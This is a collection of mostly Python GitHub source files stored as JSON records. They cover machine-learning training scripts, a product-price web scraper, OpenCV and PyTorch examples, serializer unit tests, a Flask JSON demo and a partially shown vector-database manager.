+{"seq_id":"22325279682","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Dec 12 12:00:17 2020\n\nDescription: This script trains a random forests tree classifier using a specified csv\n file. In addition, the script will print out a report of the model.\n \n@author: Coronado\n@author: Bernard\n\"\"\"\n\nimport pandas as pd\nimport numpy as mp\n\nimport matplotlib.pyplot as plt\n\nfrom sklearn.model_selection import train_test_split\n\nfrom sklearn.metrics import classification_report, confusion_matrix\n\nfrom sklearn.ensemble import RandomForestClassifier\n\nfrom sklearn.metrics import accuracy_score\n\nimport datetime\n\n#get the current time to timestamp the classification results\nnow = datetime.datetime.now()\n\ndate_str = now.strftime(\"%Y-%m-%d %H:%M:%S\")\n\n###OTHER DATA SETS\n#filename = 'filtered_data_set.csv'\n#filename = \"pca_data_set.csv\"\n\nfilenames = [\"Hits_data_set.csv\", \"pca_Hits_data_set.csv\", \"2016-19_filtered_data_set.csv\", \"pca_2016-19_filtered_data_set.csv\"]\n\nfilename = filenames[2]\n\n\n##################### get and prepare the data #########################\n#get the data\ndata = pd.read_csv(filename)\n\n#name of the output\ny_name = data.columns[len(data.columns.values)-1]\n\n#get the inputs\n# inputs = data.drop('popularity', axis = 1)\ninputs = data.drop(y_name, axis = 1)\n\n\n#get the outputs\n#outputs = data['popularity']\noutputs = data[y_name]\n\n\n#split the data into training and testing data\nX_train, X_test, Y_train, Y_test = train_test_split(inputs, outputs, train_size = 0.7,\n shuffle = True)\n\n##################### learn the Random Forests model #########################\n\n#set values for parameters\nestimators = 100\ncrit = \"gini\" #criterion for splitting\n\nmaxleafnodes = None\nmaxdepth = None\n\n#create an instance of a random forest classifier given the parameters above\nrfc = RandomForestClassifier(n_estimators = estimators, \n max_depth = maxdepth, max_leaf_nodes = maxleafnodes,\n criterion = crit)\n\n#train the random forest model\nrfc.fit(X_train, Y_train)\n\n#predict the output given the test data\nrfc_predict = rfc.predict(X_test)\n\n#obtain the accuracy\naccuracy = accuracy_score(Y_test,rfc_predict)\n\n#obtain the classification report for the trained model given the test output\n#and the predicted values\nclass_report = classification_report(Y_test, rfc_predict)\n\n\n###################### output Random Forest report #########################\n\nprint(\"###################### Report #########################\")\n\nprint(confusion_matrix(Y_test,rfc_predict))\n\nprint('\\n')\n\nprint('Random Forests Classification Report with ' + str(estimators) + ' estimators\\n') \n\nprint('File name:\\t ' + filename)\nprint('Date:\\t'+date_str + '\\n')\nprint('Criterion:\\t'+crit + '\\n')\nprint('Max Depth: '+ str(maxdepth) + \n '\\t Max Leaf Nodes: ' + str(maxleafnodes) + '\\n') \n\nprint(class_report)\n\nprint('scikit accuracy score function: ' + str(round(accuracy*100, 1) ) + '%\\n\\n')\n\nprint('Value counts for hit(1) and non-hit songs (0)')\nprint(Y_test.value_counts())","repo_name":"FCrown/Spotify-Machine-Learning","sub_path":"src/randomForests.py","file_name":"randomForests.py","file_ext":"py","file_size_in_byte":3078,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"4764663888","text":"import urllib.request as ul\nfrom bs4 import BeautifulSoup as soup\n\nurl = 'https://circuit.rocks/new'\nreq = ul.Request(url, headers={'User-Agent': 'Mozilla/5.0'})\nclient = ul.urlopen(req)\nhtmldata = client.read()\nclient.close()\n\npagesoup = soup(htmldata, \"html.parser\")\nitemlocator = pagesoup.findAll('div', {\"class\":\"product-grid-item xs-100 sm-50 md-33 lg-25 xl-20\"})\n\nfilename = \"new items.csv\"\nf = open(filename, \"w\", encoding=\"utf-8\")\nheaders = \"Item Name, Price\\n\"\nf.write(headers)\n\nfor items in itemlocator: \n namecontainer = items.findAll(\"h4\",{\"class\":\"name\"})\n names = namecontainer[0].text\n\n pricecontainer = items.findAll(\"p\",{\"class\":\"price\"})\n prices = pricecontainer[0].text.strip()\n\n print(\"Item Name: \"+ names)\n print(\"Price: \" + prices) \n\n f.write(names.replace(\",\",\" \") + \",\" + prices.replace(\",\", \" \") + \"\\n\")\nf.write(\"Total number of items: \" + \",\" + str(len(itemlocator)))\nf.close()","repo_name":"lightdarkmaster/Malwares","sub_path":"python_Scripts/getData.py","file_name":"getData.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"53"}
+{"seq_id":"6384092309","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Aug 16 11:20:40 2021\n\n@author: paban\n\"\"\"\nimport sklearn as sk\nimport numpy as np\n\nclass peri_columna(sk.base.BaseEstimator, sk.base.TransformerMixin):\n \"Convierte el dataframe en un array de n filas y t columnas\"\n def __init__(self, poblacion = 'personas'):\n self.poblacion = poblacion\n def fit(self, x, y = None):\n return self\n def transform(self, x, y= None):\n if self.poblacion in x.columns:\n xx = x.unstack().to_numpy()\n pob = xx[:,-1]\n x = x.drop(self.poblacion, axis = 1)\n xx = np.c_[x.unstack().to_numpy(),pob]\n else:\n xx = x.unstack().to_numpy() \n return xx\n\nclass agrega_centroides(sk.base.BaseEstimator, sk.base.TransformerMixin):\n \"Agrega los centroides al dataframe\"\n def __init__(self, centroides):\n self.centroides = centroides\n \n def coordenadas(self, centroides):\n \"centroides debe ser un serie geopandas\"\n l = list(centroides.apply(lambda x: list(x.coords)[0]))\n lista = []\n for i in range(len(l)):\n ll = np.array(l[i])\n lista.append(ll)\n coord = np.array(lista)\n return coord\n def fit(self, x, y = None):\n return self\n def transform(self, x, y = None):\n coord = self.coordenadas(self.centroides)\n x = np.c_[x,coord]\n return x\n\n","repo_name":"pabanib/Covid2","sub_path":"procesos.py","file_name":"procesos.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"74397823207","text":"# @Time : 2018/6/22 17:55\n# @Author : cap\n# @FileName: myOpencvCorner.py\n# @Software: PyCharm Community Edition\n# @introduction: 棱角检测\n\nimport cv2 as cv\n\nimage = cv.imread('./data/box.png')\ncv.imshow('Original', image)\n\n# 转成灰度图\ngray = cv.cvtColor(image, cv.COLOR_BGR2GRAY)\ncv.imshow('Gray', gray)\n\ncorner = cv.cornerHarris(gray, 10, 5, 0.04)\n# corner的值较小,需要放大处理才能显示,这里通过掩码的形式,对原图进行处理\ncorner = cv.dilate(corner, None)\nthreshold = corner.max() * 0.01\ncorner_mask = corner > threshold\nimage[corner_mask] = [0, 0, 255]\ncv.imshow('Corner', image)\n\ncv.waitKey()","repo_name":"zhnin/mypython","sub_path":"ml/myOpencvCorner.py","file_name":"myOpencvCorner.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"39308279991","text":"# pylint: disable=line-too-long\nimport pytest\n\nfrom backend.src.main.game.monster.concrete_monster_cards.frigid import Frigid\nfrom backend.src.main.game.monster.values import DungeonCardValues\nfrom backend.src.main.game.room.constructed_room import ConstructedRoom\nfrom backend.src.main.serializer.abstract_serializer import AbstractSerializer\nfrom backend.src.main.serializer.dungeon_serializer import DungeonSerializer\nfrom backend.src.main.serializer.enum_serializer import EnumSerializer\nfrom backend.src.main.serializer.room_serializer import RoomSerializer\nfrom backend.src.main.serializer.serializer_builder import SerializerBuilder\nfrom backend.src.main.serializer.tile_serializer import TileSerializer\n\n\ndef test_enum_serializer_on_trap_returns_trap_value():\n serializer = EnumSerializer()\n\n input_enum = DungeonCardValues.COIN\n\n actual = serializer.serialize(input_enum)\n expected = DungeonCardValues.COIN.value\n\n assert actual == expected\n\n\ndef test_serialize_tile(tile_a, enum_serializer):\n serializer = TileSerializer(enum_serializer)\n\n actual = serializer.serialize(tile_a)\n expected = {'x': 0, 'y': 0, 'z': 0, 'value': 'coin'}\n assert actual == expected\n\n\ndef test_serialize_test_room_with_mocked_tile_serializer(test_constructed_room, tile_serializer, enum_serializer):\n serializer = RoomSerializer(tile_serializer, enum_serializer)\n actual = serializer.serialize(test_constructed_room)\n expected = {\n 'name': 'foo',\n 'tiles': {},\n 'monsterCardName': 'Frigid',\n 'indicators': ['coin']\n }\n\n assert actual == expected\n\n\ndef test_serialize_test_room_with_tiles(test_constructed_room, tile_serializer, enum_serializer, tile_a, tile_b):\n serializer = RoomSerializer(tile_serializer, enum_serializer)\n test_constructed_room.set_tiles([tile_a, tile_b])\n actual = serializer.serialize(test_constructed_room)\n mocked_tile_value = tile_serializer.serialize.return_value\n\n expected = {\n 'name': 'foo',\n 'indicators': ['coin'],\n 'monsterCardName': 'Frigid',\n 'tiles': {\n 0: mocked_tile_value,\n 1: mocked_tile_value\n }\n }\n\n assert actual == expected\n\n\ndef test_serialize_room_with_trap_indicators(tile_serializer, enum_serializer, test_room):\n serializer = RoomSerializer(tile_serializer, enum_serializer)\n mocked_enum_value = enum_serializer.serialize.return_value\n test_constructed_room = ConstructedRoom(test_room, Frigid())\n\n actual = serializer.serialize(test_constructed_room)\n\n expected = {\n 'name': 'foo',\n 'indicators': [mocked_enum_value],\n 'monsterCardName': 'Frigid',\n 'tiles': {}\n }\n\n assert actual == expected\n\n\ndef test_serialize_dungeon_with_no_room(room_serializer, dungeon_generator):\n serializer = DungeonSerializer(room_serializer)\n actual = serializer.serialize(dungeon_generator)\n expected = {}\n assert actual == expected\n\n\ndef test_serialize_dungeon_with_one_room(room_serializer, dungeon_generator):\n serializer = DungeonSerializer(room_serializer)\n dungeon_generator.select_first_room()\n actual = serializer.serialize(dungeon_generator)\n expected = {\n 0: 'mocked_room'\n }\n assert actual == expected\n\n\ndef test_serialize_child_classes_raise_unimplement_error_when_method_not_implemented():\n class FooSerializer(AbstractSerializer): # pylint: disable=too-few-public-methods,abstract-method\n pass\n\n with pytest.raises(NotImplementedError):\n FooSerializer().serialize(None)\n\n with pytest.raises(NotImplementedError):\n FooSerializer().create()\n\n\ndef test_create_dungeon_serializer():\n actual = DungeonSerializer.create()\n util_is_dungeon_serializer_concrete(actual)\n\n\ndef test_create_dungeon_serializer_using_builder():\n actual = SerializerBuilder.create_dungeon_serializer()\n util_is_dungeon_serializer_concrete(actual)\n\n\ndef util_is_dungeon_serializer_concrete(concrete_dungeon_serializer):\n assert isinstance(concrete_dungeon_serializer, DungeonSerializer)\n\n room_serializer = concrete_dungeon_serializer.room_serializer\n assert isinstance(room_serializer, RoomSerializer)\n\n enum_serializer_in_room = room_serializer.enum_serializer\n tile_serializer = room_serializer.tile_serializer\n assert isinstance(enum_serializer_in_room, EnumSerializer)\n assert isinstance(tile_serializer, TileSerializer)\n\n enum_serializer_in_tile = tile_serializer.enum_serializer\n assert isinstance(enum_serializer_in_tile, EnumSerializer)\n","repo_name":"borisv1307/Gloom","sub_path":"backend/src/test/serializer/test_serializer.py","file_name":"test_serializer.py","file_ext":"py","file_size_in_byte":4546,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"5804217011","text":"import pandas as pd\nfrom modules.profile import *\n\nclass PriceCurve():\n def import_chmpk_in_ch(file_path:str) -> HourProfile:\n \"\"\"Convert CHMPK in EUR to CHF from the Sammlerexport.csv file located at the sharepoint url\n file_path: path to the sammlerexport csv\n year: the year to extract from Sammlerexport.csv\n \"\"\"\n \n # Import FWCs\n col_name_time = 'Timestamp (DD.MM.YYYY HH:mm)'\n df_fwc = pd.read_csv(file_path)\n df_fwc.dropna(inplace=True)\n\n ## eigener Zeitstempel generieren\n time_col = 'Timestamp (DD.MM.YYYY HH:mm)'\n dtix = HourProfile.create_timestamps(start_datetime=df_fwc[time_col].iloc[0], end_datetime=df_fwc[time_col].iloc[-1])\n df_fwc.set_index(dtix,inplace=True)\n\n ## calculate FWC CHMPF CHF\n df_fwc['chmpk_chf'] = df_fwc['CHMPK (EUR/MWh)'] * df_fwc['FX (CHF/EUR)']\n\n # FWC CHMPK EUR as Profile \n df_for_profile = df_fwc['chmpk_chf'].to_frame()\n return HourProfile(profile=df_for_profile['chmpk_chf'], name_val=Values.chf, type='CHMPK_EUR')\n\n","repo_name":"AeDani/EnergyUtils","sub_path":"modules/fwcImporter.py","file_name":"fwcImporter.py","file_ext":"py","file_size_in_byte":1087,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"18487879006","text":"import pkg_resources\nimport sys\nimport json\nfrom flask_restplus import Api, Resource, fields, marshal\nfrom flask import Flask, render_template, request\n\napp = Flask(__name__)\napi = Api(app)\n\njson_example_format = api.model('json_example', {\n 'language': fields.String('programming lanuage.'),\n 'framework': fields.String('framework.'),\n 'website': fields.String(),\n 'python_version_info': fields.String(),\n 'flask_version_info': fields.String(),\n 'examples': fields.List(fields.String),\n 'boolean_test': fields.Boolean()\n})\n\n\n@app.route('/')\ndef home():\n try:\n return render_template(\"index.html\")\n except Exception as e:\n return str(e)\n\n# @app.route('/generate')\n# def gnerate_number():\n# req_data\n\n\n@api.route('/json_example')\nclass Json_Example(Resource):\n @api.expect(json_example_format)\n def post(self):\n req_data = api.payload\n\n # retrive python version at run - time.\n req_data['python_version_info'] = str(sys.version_info[0]) + '.' + str(sys.version_info[1]) + '.' + str(sys.version_info[2])\n req_data['flask_version_info'] = pkg_resources.get_distribution(\"flask\").version\n language = req_data['language']\n framework = req_data['framework']\n python_version = req_data['python_version_info']\n flask_version = req_data['flask_version_info']\n example = req_data['examples'][0] # an index is needed because of the array\n boolean_test = req_data['boolean_test']\n\n return {'The language value is': req_data['language'],\n 'The framework value is': framework,\n 'The Python version is': python_version,\n 'The Flask version is': flask_version,\n 'The item at index 0 in the example list is': example,\n 'The boolean value is': boolean_test}, 200\n\n\n# @app.route('/json-example', methods=['POST']) # GET requests will be blocked\n# def json_example():\n# req_data = request.get_json()\n\n# # retrive python version at run-time.\n# req_data['version_info']['python'] = str(sys.version_info[0]) + '.' + str(sys.version_info[1]) + '.' + str(sys.version_info[2])\n# req_data['version_info']['flask'] = pkg_resources.get_distribution(\"flask\").version\n# language = req_data['language']\n# framework = req_data['framework']\n# python_version = req_data['version_info']['python'] # two keys are needed because of the nested object\n# flask_version = req_data['version_info']['flask'] # two keys are needed because of the nested object\n# example = req_data['examples'][0] # an index is needed because of the array\n# boolean_test = req_data['boolean_test']\n\n# return '''\n# The language value is: {}\n# The framework value is: {}\n# The Python version is: {}\n# The Flask version is: {}\n# The item at index 0 in the example list is: {}\n# The boolean value is: {}'''.format(language, framework, python_version, flask_version, example, boolean_test)\n\n\nif __name__ == \"__main__\":\n app.run(host='0.0.0.0', port=80, debug=True)\n","repo_name":"skyzhou01/bp-ecs-fargate-demo","sub_path":"unused_flask.py","file_name":"unused_flask.py","file_ext":"py","file_size_in_byte":3114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"105298643","text":"#N皇后问题\r\nn = eval(input())\r\n\r\nlist = [-1] * n\r\ndef isValid(i, j): #判断能否安皇后\r\n for k in range(i):\r\n if list[k] == j or abs(list[k] - j) == abs(i - k): #45°角代表在一个斜线上\r\n return False\r\n return True\r\n\r\n\r\ndef Nqueen(i, n): #i为当前行\r\n if i == n:\r\n return 1\r\n res = 0\r\n for j in range(n): #尝试i行所有列\r\n if isValid(i, j):\r\n list[i] = j\r\n res += Nqueen(i+1, n)\r\n return res\r\n\r\nprint(Nqueen(0, n))","repo_name":"Ryanl2000/PythonSubject","sub_path":"DSAA/Nqueen.py","file_name":"Nqueen.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"40805722250","text":"#-*- coding:utf-8 -*-\n\n\n#-----------------------------------------神经网络--------------------------\n#autograd 实现了反向传播功能, 但是直接用来写深度学习的代码在很多情况下还是稍显复杂, torch.nn 是专门为神经网络设计的模块化接口. nn 构建于 Autograd 之上, 可用来定义和运行神经网络.\n# nn.Module 是 nn 中最重要的类, 可把它看成是一个网络的封装, 包含网络各层定义以及 forward 方法, 调用 forward(input) 方法, 可返回前向传播的结果.\n#主要有torch.nn,autograd,torch.nn,nn.Module,forward\n\nimport numpy as np\nimport torch\nfrom torch.autograd import Variable\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nclass Net(nn.Module):#从nn中继承而来\n def __init__(self):\n super(Net,self).__init__()#super() 函数是用于调用父类(超类)的一个方法。用于多重继承\n\n self.conv1 = nn.Conv2d(1,6,5)## 卷积层 '1'表示输入图片为单通道, '6'表示输出通道数, '5'表示卷积核为5*5\n self.conv2 = nn.Conv2d(6,16,5)\n\n self.fc1 = nn.Linear(16 * 5 * 5,120)\n self.fc2 = nn.Linear(120,84)\n self.fc3 = nn.Linear(84,10)\n\n def forward(self, x):\n x = F.max_pool2d(F.relu(self.conv1(x)),(2,2))\n x = F.max_pool2d(F.relu(self.conv2(x)), 2)# 如果大小是正方形, 则只能指定一个数字\n x = x.view(-1,self.num_flat_features(x))#卷积层需要展开为全链接层\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n x = self.fc3(x)\n return x\n def num_flat_features(self,x):\n # print(list(x.size()))\n size = np.array(list(x.size()))# 除批量维度外的所有维度\n print(size)\n num_features = 1\n for s in size:\n num_features *= s\n print(\"numfeatures\",num_features)\n return num_features\n\nnet = Net()\n# print(net)\n#你只要在 nn.Module 的子类中定义了 forward 函数, backward 函数就会自动被实现(利用 autograd ). 在 forward 函数中可使用任何 Tensor 支持的操作\n# 网络的可学习参数通过 net.parameters() 返回, net.named_parameters 可同时返回学习的参数以及名称.\n\nparams = list(net.parameters())\n# print(list(net.named_parameters()))\n# print(len(params))\nprint(params[0].size())\n\ninput = Variable(torch.randn(1,1,32,32))\nout = net(input)\n# print(out)\n\n#网络中所有参数清零\nnet.zero_grad()\nout.backward(torch.randn(1,10))\n\n# torch.nn 只支持小批量(mini-batches), 不支持一次输入一个样本, 即一次必须是一个 batch.\n# 例如, nn.Conv2d 的输入必须是 4 维的, 形如 nSamples x nChannels x Height x Width.\n# 如果你只想输入一个样本, 需要使用 input.unsqueeze(0) 将 batch_size 设置为 1.\n\n\n\n\n\n#-----------------------------------------------------损失函数-------------------------------------------\n#nn.MSELoss表示均方误差\noutput = net(input)\ntarget = Variable(torch.arange(1,11))\ncriterion = nn.MSELoss()\nloss = criterion(output,target)\nprint(loss)\n# print(loss.grad_fn)\n\n\n\n\n\n#-----------------------------------------------------反向传播------------------------------------------\n#为了反向传播误差, 我们所要做的就是 loss.backward(). 你需要清除现有的梯度, 否则梯度会累加之前的梯度.\nnet.zero_grad()\n# print(net.conv1.bias.grad)\nloss.backward()\n# print(net.conv1.bias.grad)\n\n\n\n\n\n\n\n\n\n#-----------------------------------------------更新权重--------------------------------------------\n#weight = weight - learning_rate * gradient\nlearning = 0.01\nfor f in net.parameters():\n f.data.sub_(f.grad.data * learning)\nimport torch.optim as optim\nopt = optim.SGD(net.parameters(),lr = 0.01)# 新建一个优化器, 指定要调整的参数和学习率\n\nopt.zero_grad()# 首先梯度清零\noutput = net(input)\nloss = criterion(output,target)\nloss.backward()\nopt.step()# 更新参数\nprint (loss)","repo_name":"jainszhang/LearnDM","sub_path":"DL/torch_practice/PyTorch入门/test1.3.py","file_name":"test1.3.py","file_ext":"py","file_size_in_byte":3935,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"8798910619","text":"class BIT(): #要素番号は始めを1としていることに注意\n def __init__(self,n,mod=0):\n self.BIT = [0]*(n+1)\n self.num = n\n self.mod = mod\n\n def query(self,idx): #1からidx番目までの和を返す\n res_sum = 0\n mod = self.mod\n while idx > 0:\n res_sum += self.BIT[idx]\n if mod:\n res_sum %= mod\n idx -= idx&(-idx)\n return res_sum\n\n #Ai += x O(logN)\n def update(self,idx,x): #idx番目の要素にxを足す\n mod = self.mod\n while idx <= self.num:\n self.BIT[idx] += x\n if mod:\n self.BIT[idx] %= mod\n idx += idx&(-idx)\n return\n\ndef tenntou(l): #lの要素は1以上、重複は可、O(NlogN)\n bit = BIT(max(l)+1)\n ans = 0\n for i,n in enumerate(l):\n n += 1\n ans += i - bit.query(n)\n bit.update(n,1)\n return ans\nN = int(input())\nA = list(map(int,input().split()))\nans = tenntou(A)\nprint(ans)\nfor k in range(N-1):\n ans += -2*A[k] + N - 1\n print(ans)\n","repo_name":"shimamura10/Atcoder","sub_path":"過去問/単発/ABC190f.py","file_name":"ABC190f.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"74778936807","text":"import os\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom torch.utils.data import DataLoader\n\nfrom dataset import WMTCollator, WMTDataset\nfrom language import Language\nfrom network import Seq2SeqModel\nfrom train_utils import train\nfrom utils import set_global_seed\n\n# path\nINPUT_LANG_TRAIN_DATA_PATH = \"data/IWSLT15_English_Vietnamese/train.en\"\nOUTPUT_LANG_TRAIN_DATA_PATH = \"data/IWSLT15_English_Vietnamese/train.vi\"\nINPUT_LANG_VAL_DATA_PATH = \"data/IWSLT15_English_Vietnamese/tst2012.en\"\nOUTPUT_LANG_VAL_DATA_PATH = \"data/IWSLT15_English_Vietnamese/tst2012.vi\"\nINPUT_LANG_TEST_DATA_PATH = \"data/IWSLT15_English_Vietnamese/tst2013.en\"\nOUTPUT_LANG_TEST_DATA_PATH = \"data/IWSLT15_English_Vietnamese/tst2013.vi\"\n\nINPUT_LANG = \"en\"\nOUTPUT_LANG = \"vi\"\nINPUT_LANG_WORD2IDX_PATH = f\"vocab/{INPUT_LANG}_vocab.json\"\nOUTPUT_LANG_WORD2IDX_PATH = f\"vocab/{OUTPUT_LANG}_vocab.json\"\n\nSAVE_MODEL_PATH = \"models/seq2seq.pth\"\n\n# hyper-parameters\nSEED = 42\nDEVICE = \"cuda\"\nVERBOSE = True\n\nUNK_ID = 0\nBOS_ID = 1\nEOS_ID = 2\nPAD_ID = 3\n\nBATCH_SIZE = 32\nREVERSE_SOURCE_LANG = True\nBUCKET_SEQUENCING_PERCENTILE = 100\n\nENCODER_EMBEDDING_DIM = DECODER_EMBEDDING_DIM = 500\nENCODER_HIDDEN_SIZE = DECODER_HIDDEN_SIZE = 500\nENCODER_NUM_LAYERS = DECODER_NUM_LAYERS = 2\nENCODER_DROPOUT = DECODER_DROPOUT = 0.2\n\nN_EPOCH = 12\nLEARNING_RATE = 1\nTRAIN_EVAL_FREQ = 50 # number of batches\n\n\n# print params\nif VERBOSE:\n print(\"### PARAMETERS ###\")\n print()\n print(f\"INPUT_LANG_TRAIN_DATA_PATH: {INPUT_LANG_TRAIN_DATA_PATH}\")\n print(f\"OUTPUT_LANG_TRAIN_DATA_PATH: {OUTPUT_LANG_TRAIN_DATA_PATH}\")\n print(f\"INPUT_LANG_VAL_DATA_PATH: {INPUT_LANG_VAL_DATA_PATH}\")\n print(f\"OUTPUT_LANG_VAL_DATA_PATH: {OUTPUT_LANG_VAL_DATA_PATH}\")\n print(f\"INPUT_LANG_TEST_DATA_PATH: {INPUT_LANG_TEST_DATA_PATH}\")\n print(f\"OUTPUT_LANG_TEST_DATA_PATH: {OUTPUT_LANG_TEST_DATA_PATH}\")\n print()\n print(f\"INPUT_LANG: {INPUT_LANG}\")\n print(f\"OUTPUT_LANG: {OUTPUT_LANG}\")\n print(f\"INPUT_LANG_WORD2IDX_PATH: {INPUT_LANG_WORD2IDX_PATH}\")\n print(f\"OUTPUT_LANG_WORD2IDX_PATH: {OUTPUT_LANG_WORD2IDX_PATH}\")\n print()\n print(f\"SAVE_MODEL_PATH: {SAVE_MODEL_PATH}\")\n print()\n print(f\"SEED: {SEED}\")\n print(f\"DEVICE: {DEVICE}\")\n print()\n print(f\"UNK_ID: {UNK_ID}\")\n print(f\"BOS_ID: {BOS_ID}\")\n print(f\"EOS_ID: {EOS_ID}\")\n print(f\"PAD_ID: {PAD_ID}\")\n print()\n print(f\"BATCH_SIZE: {BATCH_SIZE}\")\n print(f\"REVERSE_SOURCE_LANG: {REVERSE_SOURCE_LANG}\")\n print(f\"BUCKET_SEQUENCING_PERCENTILE: {BUCKET_SEQUENCING_PERCENTILE}\")\n print()\n print(f\"ENCODER/DECODER_EMBEDDING_DIM: {ENCODER_EMBEDDING_DIM}\")\n print(f\"ENCODER/DECODER_HIDDEN_SIZE: {ENCODER_HIDDEN_SIZE}\")\n print(f\"ENCODER/DECODER_NUM_LAYERS: {ENCODER_NUM_LAYERS}\")\n print(f\"ENCODER/DECODER_DROPOUT: {ENCODER_DROPOUT}\")\n print()\n print(f\"N_EPOCH: {N_EPOCH}\")\n print(f\"LEARNING_RATE: {LEARNING_RATE}\")\n print(f\"TRAIN_EVAL_FREQ: {TRAIN_EVAL_FREQ}\")\n print()\n\n\n# seed and device\nset_global_seed(SEED)\ndevice = torch.device(DEVICE)\n\n\n# language\ninput_language = Language(\n language=INPUT_LANG,\n path_to_word2idx=INPUT_LANG_WORD2IDX_PATH,\n unk_id=UNK_ID,\n bos_id=BOS_ID,\n eos_id=EOS_ID,\n)\noutput_language = Language(\n language=OUTPUT_LANG,\n path_to_word2idx=OUTPUT_LANG_WORD2IDX_PATH,\n unk_id=UNK_ID,\n bos_id=BOS_ID,\n eos_id=EOS_ID,\n)\n\n\n# data\ntrain_dataset = WMTDataset(\n input_lang_data_path=INPUT_LANG_TRAIN_DATA_PATH,\n output_lang_data_path=OUTPUT_LANG_TRAIN_DATA_PATH,\n input_language=input_language,\n output_language=output_language,\n reverse_source_lang=REVERSE_SOURCE_LANG,\n verbose=VERBOSE,\n)\nval_dataset = WMTDataset(\n input_lang_data_path=INPUT_LANG_VAL_DATA_PATH,\n output_lang_data_path=OUTPUT_LANG_VAL_DATA_PATH,\n input_language=input_language,\n output_language=output_language,\n reverse_source_lang=REVERSE_SOURCE_LANG,\n verbose=VERBOSE,\n)\ntest_dataset = WMTDataset(\n input_lang_data_path=INPUT_LANG_TEST_DATA_PATH,\n output_lang_data_path=OUTPUT_LANG_TEST_DATA_PATH,\n input_language=input_language,\n output_language=output_language,\n reverse_source_lang=REVERSE_SOURCE_LANG,\n verbose=VERBOSE,\n)\n\ntrain_collator = WMTCollator(\n input_lang_pad_id=PAD_ID,\n output_lang_pad_id=PAD_ID,\n percentile=BUCKET_SEQUENCING_PERCENTILE,\n)\ntest_collator = WMTCollator( # same for val_loader\n input_lang_pad_id=PAD_ID,\n output_lang_pad_id=PAD_ID,\n percentile=100,\n)\n\ntrain_loader = DataLoader(\n dataset=train_dataset,\n batch_size=BATCH_SIZE,\n shuffle=True,\n collate_fn=train_collator,\n)\nval_loader = DataLoader(\n dataset=val_dataset,\n batch_size=1,\n shuffle=False,\n collate_fn=test_collator,\n)\ntest_loader = DataLoader(\n dataset=test_dataset,\n batch_size=1,\n shuffle=False,\n collate_fn=test_collator,\n)\n\n\n# model\nmodel = Seq2SeqModel(\n encoder_num_embeddings=len(input_language.word2idx),\n encoder_embedding_dim=ENCODER_EMBEDDING_DIM,\n encoder_hidden_size=ENCODER_HIDDEN_SIZE,\n encoder_num_layers=ENCODER_NUM_LAYERS,\n encoder_dropout=ENCODER_DROPOUT,\n decoder_num_embeddings=len(output_language.word2idx),\n decoder_embedding_dim=DECODER_EMBEDDING_DIM,\n decoder_hidden_size=DECODER_HIDDEN_SIZE,\n decoder_num_layers=DECODER_NUM_LAYERS,\n decoder_dropout=DECODER_DROPOUT,\n).to(device)\n\nif VERBOSE:\n print(f\"model number of parameters: {sum(p.numel() for p in model.parameters())}\")\n\n\n# criterion, optimizer, scheduler\ncriterion = nn.CrossEntropyLoss(\n ignore_index=PAD_ID,\n)\noptimizer = optim.SGD(\n model.parameters(),\n lr=LEARNING_RATE,\n)\nscheduler = optim.lr_scheduler.MultiStepLR( # hardcoded\n optimizer,\n milestones=[8, 9, 10, 11],\n gamma=0.5,\n)\n\n\n# train\ntrain(\n model=model,\n trainloader=train_loader,\n valloader=val_loader,\n testloader=test_loader,\n criterion=criterion,\n optimizer=optimizer,\n scheduler=scheduler,\n n_epoch=N_EPOCH,\n train_eval_freq=TRAIN_EVAL_FREQ,\n device=device,\n verbose=VERBOSE,\n)\n\n\n# save\nos.makedirs(\"models\", exist_ok=True)\ntorch.save(model.state_dict(), SAVE_MODEL_PATH)\n","repo_name":"dayyass/neural-machine-translation","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6124,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"53"}
+{"seq_id":"1630404899","text":"from enum import Enum\nfrom typing import List\n\nfrom dao.feature import DATA_VECTOR\nfrom dao.cosine import Cosine\nfrom dao.milvus import Milvus, connect, drop_collection\nfrom utils.config import RMFConfig, cfg\nfrom core import AlgoType, algo_list, get_dim\nfrom utils.file_client import get_download_url\n\n\nclass CMPTYPE(Enum):\n MILVUS = \"milvus\"\n COSINE = \"cosine\"\n\n\nclass DBManager:\n '''\n 数据管理,统一管理mysql数据库与向量比对数据库\n 对外提供统一的insert、search、delete接口\n '''\n\n def __init__(self) -> None:\n self.cmp_map = {}\n\n def init(self, cfg: RMFConfig):\n if cfg.CMP_MODE == CMPTYPE.MILVUS.value:\n # 与milvus数据库建连\n connect(cfg.MILVUS_HOST, cfg.MILVUS_PORT)\n print(\"milvus: start init and load vector to memory\")\n self.milvus_init(cfg.DB_NAME)\n if cfg.SYNC_MILVUS == True:\n '''\n 开启同步模式,则需要删除原有数据,从mysql中加载数据\n '''\n self.milvus_load()\n print(\"milvus: init success\")\n elif cfg.CMP_MODE == CMPTYPE.COSINE.value:\n print(\"cosine: start init\")\n self.cosine_init(cfg.DB_NAME)\n # 